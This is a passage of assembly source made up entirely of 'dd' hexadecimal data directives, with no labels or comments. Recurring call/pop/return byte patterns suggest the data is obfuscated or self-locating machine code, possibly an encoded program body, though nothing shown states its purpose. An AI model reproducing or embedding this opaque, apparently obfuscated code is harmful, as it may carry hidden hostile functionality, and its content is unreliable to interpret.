		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 390ADDC3h, 0E52BE12Ah, 0AB1B363h, 50840FC9h,	0E8000001h
		dd 12h,	0FF97BD34h, 4EE29511h, 1881CC86h, 11D0D594h, 0FB8B1540h
		dd 0C1858B5Fh, 31061F0Dh, 1F08F98Dh, 0C9853306h, 89061F2Eh
		dd 1F0585BDh, 36BF5006h, 8966823Eh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C110FFC3h
		dd 0EC04399Ch, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0ACF2F1C3h, 89EC499Eh, 1F112985h
		dd 0A5BD8B06h, 0E8061F0Ah, 4, 1F03FFh, 50DF8B66h, 3870Fh
		dd 8B660000h, 24448BDFh, 28B0F04h, 8B000000h, 66008BFBh
		dd 4489DE8Bh, 8B660424h, 6A58D8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 182393C3h, 95FFD156h
		dd 61F2DE1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0BFC35545h, 0B2558589h,	6A0622h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 9447E5C3h
		dd 1EFE99Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0D9BB0CC3h, 6612946Fh, 66DCE2BBh
		dd 8BF52FBFh, 22B24D85h, 0DE8B6606h, 1800C7h, 9D8B0000h
		dd 61F1D9Dh, 8E9h, 8BA33E00h, 131D3680h, 51B58BD8h, 6A0622B2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 577C355h,	35E90BA1h, 1D61C655h, 23C58D09h
		dd 858B061Fh, 61F13A1h,	10E8h, 234F3500h, 0FCF83AB4h, 0A598767Dh
		dd 274E452Ah, 899D3323h, 5F061F16h, 12E90689h, 0EF000000h
		dd 8EB6121Dh, 0BB4F2E9h, 5C10C412h, 0C7F99717h,	6A82BB26h
		dd 858B2AE2h, 61F0DC1h,	2FDBD0Bh, 0BD8B061Fh, 61F07E1h
		dd 6A044689h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 7749C350h, 8F2C32F7h, 0DB15E349h
		dd 9DE1BB66h, 128A0F50h, 60000000h, 0D943EAB8h,	6E933h
		dd 6D000000h, 3599186Ch, 24348961h, 0BD09FA8Bh,	61F123Dh
		dd 0B24DB5FFh, 830F0622h, 6, 18D1BD33h,	0DE8061Fh, 51000000h
		dd 0A028D711h, 705737D8h, 0AD54394Ch, 20B9BD33h, 685B061Fh
		dd 54912C94h, 0C953BB66h, 6B243481h, 6A548E2Fh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0EB32C352h, 0D47B91CBh, 893A5081h, 1F021185h, 55858D06h
		dd 6A0622B2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 41C4C353h, 50F8553Fh, 0E400BB57h
		dd 895B237Eh, 9D8B2404h, 61F116Dh, 2DE195FFh, 6A061Fh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0D38015C3h, 0BE9F4h,	2D4B0000h, 554117Ch, 6997C7E0h
		dd 6A610Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 85C7B4C3h, 61F137Dh, 3, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 89C35141h, 0BDDC0C76h, 8BBFB08Fh
		dd 1F1EADBDh, 55BD8306h, 622B2h, 3C840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0BF10BDC3h, 83C38178h, 0E97C0370h, 2Dh, 14F19D8Bh, 8B0F061Fh
		dd 6, 1F35BD8Bh, 3050061Fh, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0F19D8BC0h, 0F061F2Bh,	0C85h
		dd 6820F00h, 0F000000h,	82h, 7DBD8300h,	3061F13h, 3EE850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0F5DB5DC3h, 570E5AC9h, 55BD83F1h,	622B2h
		dd 3BE840Fh, 0DB800000h, 0E5DF8163h, 0FF4F22EEh, 22B255B5h
		dd 0F850F06h, 0E9000000h, 0Ah, 683C47FDh, 7D9AB686h, 95FF07F4h
		dd 61F1BC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0D7C35343h, 5E5E00CCh, 68A0FACh, 8B000000h, 1F2BB9BDh
		dd 49B58B06h, 6A0622B2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0BB54C357h, 8211E256h, 8D319557h,	61F18FDh
		dd 106C7h, 0BD890001h, 61F1C45h, 0BF525050h, 4D3B9929h
		dd 13E9310Fh, 0ED000000h, 4AB636FBh, 93EC647Ch,	64654D2Fh
		dd 83694337h, 585AA613h, 6A243489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0C20BC352h
		dd 71BD8B80h, 0FF061F0Ch, 22B255B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9D8B5ADDh
		dd 61F1045h, 162195FFh,	0FE9061Fh, 63000000h, 0E5E399FEh
		dd 0E774666Bh, 746AAD0Fh, 0B58B238Bh, 622B249h,	8E9h, 8D873500h
		dd 0D6F655E5h, 0F1858BC6h, 89061F2Fh, 1F05E59Dh, 0C4868906h
		dd 0F000000h, 958BD9BFh, 61F0B5Dh, 0BC9BD8Bh, 0C283061Fh
		dd 20508904h, 0DB19D8Bh, 858D061Fh, 622C797h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1FC35747h, 894D0CDDh
		dd 0B886h, 15B50100h, 6A061F0Dh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 9E8E8h, 404E0000h
		dd 5FB6C5A8h, 34793E4h,	1F1BE99Dh, 0B5FF5F06h, 622B255h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 45C35343h
		dd 0FF7A5BCBh, 1F2F5595h, 0F3E38006h, 6E952h, 0C36D0000h
		dd 181FE24Ch, 0F88A965Fh, 48C0F50h, 66000000h, 96F286BBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8BC35545h
		dd 0D8F9EEADh, 880FCC26h, 1, 55B5FFF9h,	890622B2h, 1F247DBDh
		dd 1D95FF06h, 6A061F0Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E86AC355h,	12h, 9452A3B7h
		dd 42DEBE67h, 16779207h, 59D852DFh, 0F60119Ch, 6160C8BFh
		dd 0BD835F61h, 61F2C0Dh, 1D840F00h, 0E9000000h,	9, 1901D176h
		dd 0F14D03A2h, 0BF515042h, 290FB6FEh, 2434895Fh, 3BA1BB66h
		dd 0B255B5FFh, 6A0622h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8B4948C3h, 1F1465BDh, 0CB816606h
		dd 95FF30FBh, 61F1349h,	174DBD8Bh, 0B5FF061Fh, 622B255h
		dd 2A659D8Bh, 95FF061Fh, 61F1075h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 18C35040h, 1BBD501Ah, 66D1C1DFh
		dd 0BD83F88Bh, 61F0009h, 5D840F02h, 0E8000000h,	5, 0FA97C200h
		dd 3D8D898Fh, 5B061F2Dh, 1751858Bh, 0BF66061Fh,	0C6E67Ch
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 622B7811h, 14E945h, 7E6A0000h, 5C97A40Ch
		dd 64E0ACh, 0C3AD1E86h,	56F7FB0Ch, 0BD897D46h, 61F0EF9h
		dd 129185C7h, 61Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0EA6D9EC3h, 0B43E8A83h
		dd 0B589C757h, 61F12D9h, 0FFF30DE9h, 79B589FFh,	8B061F07h
		dd 0FD9529C1h, 8D061F0Ah, 1F19BD85h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BF66A456h
		dd 90FCFE06h, 50D98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 60006A01h, 8B66D68Bh
		dd 6A61F3h, 95316060h, 61F010Dh, 12158D8Bh, 0F961061Fh
		dd 2D858D61h, 6A0623ADh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0E92AC355h,	54BC72F6h
		dd 5D98D29h, 0C083061Fh, 85958905h, 50061F2Dh, 0E820Fh
		dd 5E80000h, 0B7000000h, 4BC4ABBCh, 5FFB8B66h, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0FF38C351h, 68A0F08h, 81000000h, 9C2978EBh
		dd 6A006A73h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 7BCC355h, 0BE9h, 76595200h, 446A5D5Ch
		dd 3F8EF4FEh, 9D8B006Ah, 61F18F9h, 16195FFh, 0DB80061Fh
		dd 0F28D8D75h, 6A0622B1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0D14AC356h,	0DD77FF8Dh
		dd 40004E14h, 0E99D8Bh,	0CB81061Fh, 321DA33Bh, 6AD1FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 83BFF8C3h, 1F0EF5BDh, 850F0106h, 3Dh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 0B8C35646h, 7EE41C77h
		dd 89026AF8h, 1F1BD595h, 0BF665006h, 489629Ch, 899D0B24h
		dd 0FF061F0Ch, 1F2F5595h, 0DB7E906h, 0E80000h, 5D000000h
		dd 0AD37ED81h, 6A0623h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 60DCE1C3h, 45BD89A5h, 0E9061F1Bh
		dd 9, 731728D4h, 8651973Fh, 0E4858D1Dh,	6A06228Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 25C8C355h, 0E08C30A8h, 8BAC2504h, 1F2401BDh,	90509006h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 91C35242h
		dd 0FF0CC27h, 8Dh, 35FF6400h, 0
		dd 1571BD8Bh, 8964061Fh, 25h, 0DE900h, 82150000h, 747AC333h
		dd 639A741Bh, 0FF07E16Eh, 1F102985h, 77A3BF06h,	0FF6A1831h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 70C35747h
		dd 24F6438Eh, 0DACCB176h, 71BD0B62h, 0FF061F15h, 1F0D29B5h
		dd 0DF8B6606h, 1CED95FFh, 40E9061Fh, 0E8000001h, 10h, 0C6E14BDh
		dd 7C686234h, 0C4DA0602h, 490B4118h, 2C119589h,	0B05F061Fh
		dd 38E0F00h, 80000000h,	70E6BCC3h, 2DB59D0Bh, 9D89061Fh
		dd 61F1909h, 9D2371E4h,	61F0165h, 830F613Ch, 0FBh, 81C8B60Fh
		dd 10E83ADFh, 6BA59h, 11E90000h, 0D6000000h, 0A513D8BCh
		dd 672B9BF3h, 0F00E3DDFh, 840162CFh, 0B351C18Bh, 0E8C15F98h
		dd 9958904h, 66061F16h,	0BD29E2F7h, 61F0B75h, 0CE9C82Bh
		dd 5B000000h, 0F7B3E846h, 678CC5FEh, 8B66A126h,	0F19D33D1h
		dd 0E9061F0Fh, 13h, 1830Fh, 0FF80000h, 68Ch, 3D9D8B00h
		dd 8B061F30h, 1F119D85h, 4A10BF06h, 0C08312E8h,	0C08307h
		dd 2830Fh, 5CB70000h, 830FD03Bh, 25h, 6E8h, 738C7100h
		dd 8989F182h, 1F005D85h, 54E95B06h, 0E9000000h,	9, 0BA7F7122h
		dd 88535E4Fh, 0C18D8BF3h, 8B061F1Eh, 1E183DEh, 35840Fh
		dd 0BD2B0000h, 61F124Dh, 1EC1A583h, 0E9FE061Fh,	0Ch, 6816164Ch
		dd 5E6D8AD0h, 0C325C561h, 119D9589h, 860F061Fh,	6, 1099BD8Bh
		dd 0E9061Fh, 8D000000h,	231682B5h, 6840F06h, 9000000h
		dd 1F2019B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0BE1BC352h,	0C7BF66AAh
		dd 35858935h, 0FF061F24h, 1F1D4595h, 0E19D3306h, 89061F1Bh
		dd 1F1F11B5h, 8A2B906h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 59B5E3C3h, 0DBB70F57h
		dd 0FFCE183h, 9589DABFh, 61F2BE1h, 0B8FD8AFCh, 0
		dd 0DB80FC60h, 0D22B61EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0B6C35242h, 0B70F5D46h, 0C233ADDEh, 0D003E8D1h
		dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 8C13F18Ch, 2E2BD4F5h, 6AFA8B66h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 22B8C355h, 511591DDh, 4982DBF4h, 6840Fh
		dd 0D3810000h, 183E4FC8h, 880Dh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9DBFDB2Fh
		dd 0B7DAB70Fh, 5D958BF3h, 6A061F0Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2CAEC355h
		dd 8D8B52B7h, 61F20C5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0C4C35040h, 0BD0B1BAEh, 61F1B85h, 2D899D89h
		dd 8B50061Fh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 8D89FB8Bh, 61F0085h,	78DBD83h, 0F00061Fh, 5B84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 2043209Bh, 0B85Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 1E4BDC3h, 1F149D9Dh
		dd 0B08D8D06h, 66061F4Dh, 3B2CD781h, 0CB81E1FFh, 2C37E8A0h
		dd 137DBD83h, 0F00061Fh, 3D584h, 5E800h, 0DE480000h, 661A5E24h
		dd 5F133DBBh, 137DBD83h, 0F01061Fh, 3D484h, 5BD8B00h, 83061F2Ch
		dd 1F137DBDh, 860F0306h, 38Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 23C35646h, 6E8h, 1CF71100h
		dd 66F48C64h, 5435F781h, 6A605Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0D01088C3h, 6729C7C2h
		dd 8C66463Dh, 6880FD9h,	29000000h, 1F1579BDh, 4E18006h
		dd 65E38166h, 0FC90AAFh, 0E584h, 14E900h, 5C8B0000h, 5ECB640h
		dd 0A89B5208h, 7BE7F0D6h, 0B21FFC52h, 4ABBC7B2h, 8B52743Ah
		dd 1F0DC185h, 0CD9D8B06h, 33061F1Bh, 1F2EC985h,	0EB816606h
		dd 50905205h, 0BE8h, 0A167800h,	95B005A4h, 0F37003Bh, 6A905Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0CB7383C3h, 33006A99h, 1F30C5BDh, 4D716806h,	0BB5053BFh
		dd 8586628h, 2434815Bh,	53A04E8Eh, 1F8D9531h, 95FF061Fh
		dd 61F2DE1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0DFC35040h, 168A0F85h, 60000000h, 9E9h,	0BAFA8800h
		dd 54F06D3Ch, 0B529D56Ah, 61F1241h, 55858961h, 8B0622B2h
		dd 1F13919Dh, 191E906h,	8F0F0000h, 6, 30D19589h, 858B061Fh
		dd 622B24Dh, 7F19589h, 0C7061Fh, 18h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 53C35343h, 0F585298Fh, 8B061F31h
		dd 22B251B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0E62566BAh, 9E12C0Ch, 1F123DBDh
		dd 810F06h, 8B000000h, 1F13A185h, 0CD9D8906h, 89061F1Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0C1858BB8h, 31061F0Dh, 1F30FD9Dh, 4468906h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 63C35141h
		dd 0E986E823h, 10h, 817C3DD5h, 7D143A28h, 0C083A89Eh, 0F8307459h
		dd 50F98B96h, 8996F98Bh, 1F3049BDh, 4DB5FF06h, 6A0622B2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0A732C355h, 68254204h, 61A1D47h, 4258BB66h
		dd 0B8243481h, 6A06051Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0B918C353h,	959D8BB9h
		dd 8D061F2Dh, 22B25585h, 0F9950106h, 0F8061F0Ch, 0BF665050h
		dd 895FEA90h, 9D8B2404h, 61F23A9h, 2DE195FFh, 6A061Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 547F0BC3h, 273C141Bh, 6100B4F1h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 71C35646h, 790F133Ah, 66D1555Eh
		dd 3A31D381h, 137D85C7h, 3061Fh, 9D8B0000h, 61F3031h, 0B255BD83h
		dd 0F000622h, 6A84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 8E909DCAh, 583DBA3h, 71DBD89h
		dd 57E9061Fh, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 57D6C351h, 3B1CFC89h
		dd 12BB5329h, 0E91B6452h, 0Fh, 8987715Ah, 0E6C6404Ch, 3FB4462Fh
		dd 5062056Eh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 5BDD3CC3h, 0BFF5E084h, 1B6B283Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0ACC35141h
		dd 425ECD6h, 83CDEB80h,	1F137DBDh, 850F0306h, 479h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6DC35545h, 68E0Fh
		dd 0BD8B0000h, 61F0D7Dh, 0B255BD83h, 0F000622h,	44484h
		dd 0FBBF0F00h, 0B255B5FFh, 9D8B0622h, 61F1071h,	1BC995FFh
		dd 0BF66061Fh, 0B58B2323h, 622B249h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0D6C35747h,	0E9EAD87Dh, 5
		dd 7A8F87C7h, 0D98B6698h, 106C7h, 6A0001h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 902B56C3h
		dd 9D8B5B57h, 61F06A1h,	428BB50h, 348935EFh, 13E924h, 74D90000h
		dd 21F1AAB0h, 731CB4EDh, 3C6BEB92h, 7328C0ACh, 55B5FFDEh
		dd 6A0622B2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 81EAC352h, 4170028Eh, 0BB664833h
		dd 95FF367Ch, 61F1621h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 89C35545h, 66644E70h,	660F7EBFh, 0F207EBFh
		dd 687h, 0B5B52900h, 8B061F09h,	22B249B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 9589FFD4h, 61F07A9h,	44BF6651h, 95895FB2h, 61F32B9h
		dd 2FF1858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0BC62C0C3h, 334CB660h, 1F11F595h
		dd 86896106h, 0C4h, 8BDE8B66h, 1F0B5D95h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 4C2833Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	1CC35545h, 0C7859AEEh, 8AD66222h, 0FFC381B3h, 89022197h
		dd 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 9B7B9EC3h, 0C780C4D3h, 97858D97h
		dd 660622C7h, 8689FB8Bh, 0B8h, 311D9D8Bh, 0BD8B061Fh, 61F00E1h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 353A2BC3h, 83B08358h, 9D8B0388h, 61F0829h
		dd 0B255B5FFh, 6A0622h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 5FB784C3h, 11C59D8Bh, 95FF061Fh
		dd 61F2F55h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0DAC35040h, 0F595621Bh,	2379F363h, 1F14919Dh, 0BB525006h
		dd 656C4E4Eh, 2434895Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 43C35242h, 0D15BD8Bh,	0B5FF061Fh, 622B255h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h
		dd 208B0360h, 0E387BBD3h, 0CE9h, 0D4693A00h, 0B0DFC42Fh
		dd 0FC7236EFh, 1D95FF3Fh, 2B061F0Eh, 1F0B919Dh,	0DBD8306h
		dd 61F2Ch, 82840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 4A16B8C3h, 841483DCh
		dd 0E980C20Bh, 12h, 9B87E3F3h, 4148A94Fh, 8896A85Bh, 71FAD9DCh
		dd 0E850EC27h, 8, 0E7EF8767h, 1AD67280h, 47915FBFh, 34895B56h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 8FBC7BF9h, 346C0959h, 14C59D01h,	6651061Fh
		dd 5B0B1BBFh, 0B255B5FFh, 0F8520622h, 4995FF5Fh, 81061F13h
		dd 0DDC8B3DFh, 55B5FF23h, 0B30622B2h, 7595FFE5h, 0E9061F10h
		dd 10h,	0F878F846h, 369F09AAh, 323DFB22h, 6455036Ah, 9BD83h
		dd 0F02061Fh, 6F84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 4AE5E0B3h, 0DE9h, 42957100h
		dd 5510F34Ch, 0F0807573h, 858BF1E1h, 61F1751h, 12E9h, 0D42F6400h
		dd 0C60F3AC5h, 0BD6084DBh, 41575E6Bh, 0C65138C8h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0F819C7C3h, 129185C7h, 61Fh,	8B660000h, 0F37CE9D8h
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 4DB4DCC3h, 9ECF808Ch, 12E9h, 1A051600h, 5E6F3F3Bh
		dd 70E8AF3h, 0C013852Eh, 8B6D3FC9h, 53006AC1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 2960BB05h
		dd 1F1931B5h, 8EA8106h,	6143552Fh, 0A9DF8166h, 0BD858D9Dh
		dd 6A061F19h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 1A28C353h, 0BF669C00h,	0BF906305h
		dd 356F6F2Bh, 9E950h, 9E3E0000h, 650E182Bh, 900F16E7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 45C35242h
		dd 0A2361FA0h, 6AC78Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 51C35646h, 72D0DB81h,	0BB66227Fh, 6A7971h
		dd 0BD1D858Dh, 0BD230623h, 61F1D29h, 0E905C083h, 10h, 72BA388Bh
		dd 0B1546DB8h, 0F064D042h, 0C480EC5h, 0FB8B6650h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 8DB6C355h, 0F356EA1Eh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A00B72C3h
		dd 29A75965h, 1F1BED95h, 66006A06h, 0FF4FD5BBh,	1F016195h
		dd 19953106h, 8D061F20h, 22B1F28Dh, 0FFFE8B06h,	53006AD1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0D6B7A28h, 0FB1039D0h, 3F881CBh, 1F1FDD9Dh, 0F5BD8306h
		dd 1061F0Eh, 0DF850Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0BA388BC3h, 546DB872h
		dd 8BD042B1h, 1F16F99Dh, 4D9D0B06h, 6A061F02h, 57006A02h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 8A229FD5h, 0CBDF347h, 9E959ADh, 4D000000h, 238199BCh
		dd 0D9838F86h, 13D9BD8Bh, 6090061Fh, 310F5250h,	7E9h, 0D3B71D00h
		dd 5D3EC5E0h, 6060585Ah, 50616161h, 8E8h, 0EFAB400h, 0C5163D37h
		dd 5FDA8B54h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 89BAA491h, 1F238DB5h, 13E906h, 0F3AD0000h
		dd 0DD566C03h, 5F6A46BDh, 0ABC65F88h, 0BBDD5CF6h, 5595FF39h
		dd 29061F2Fh, 1F06FD85h, 0EB0E906h, 0E80000h, 5D000000h
		dd 0BD27ED81h, 0B5310623h, 61F1159h, 0A3D8D89h,	6A061Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8DC9B6C3h, 228EE485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0D07E66C5h, 56FECC0h
		dd 12E969h, 0FA320000h,	19BAD91Ch, 5E288535h, 1DC5C9F6h
		dd 793F7520h, 6860Fh, 0BD8B0000h, 61F3295h, 0DCE2BB50h
		dd 4892996h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 5FF2C2FDh, 0DA336B00h, 0D88B66EFh
		dd 0BE9h, 5C03A300h, 0A81E9B98h, 85261303h, 35FF64h, 23000000h
		dd 1F0EF9BDh, 25896406h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DBC35747h
		dd 0CBF04AD2h, 102985FFh, 9D8B061Fh, 61F108Dh, 6AFF6Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0D8CB24C3h, 0F98B66F8h, 0B5FFB1B3h, 61F1545h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 15C35545h, 28B3EB1Ah
		dd 53CEF88Ch, 1CED95FFh, 2FE9061Fh, 0E8000001h,	14h, 3DD11A7Bh
		dd 0B78D9900h, 850DDEC3h, 0CC6A15B0h, 396BD6A5h, 7E9h
		dd 77F0C600h, 3A957964h, 0F00B05Fh, 38Dh, 0F8B70F00h, 0BF0F70E6h
		dd 8B71E4FFh, 0F613CDAh, 0ED83h, 0B9666000h, 0F28145D8h
		dd 1D95ACF2h, 0C8B60F61h, 0FE9h, 21CCA600h, 1F69C782h
		dd 8F8BE019h, 0EF42B6BEh, 6BAh,	69BD8B00h, 8B061F15h, 119D89C1h
		dd 0C1061F2Dh, 820F04E8h, 16h, 11E9h, 9582EF00h, 62774E95h
		dd 95B10D9h, 0E3A3A8Eh,	0F766A277h, 0FEBF0FE2h,	0C82B98B3h
		dd 66D18BF9h, 0E979BDBBh, 82h, 8BFEB70Fh, 885h,	83FA8B00h
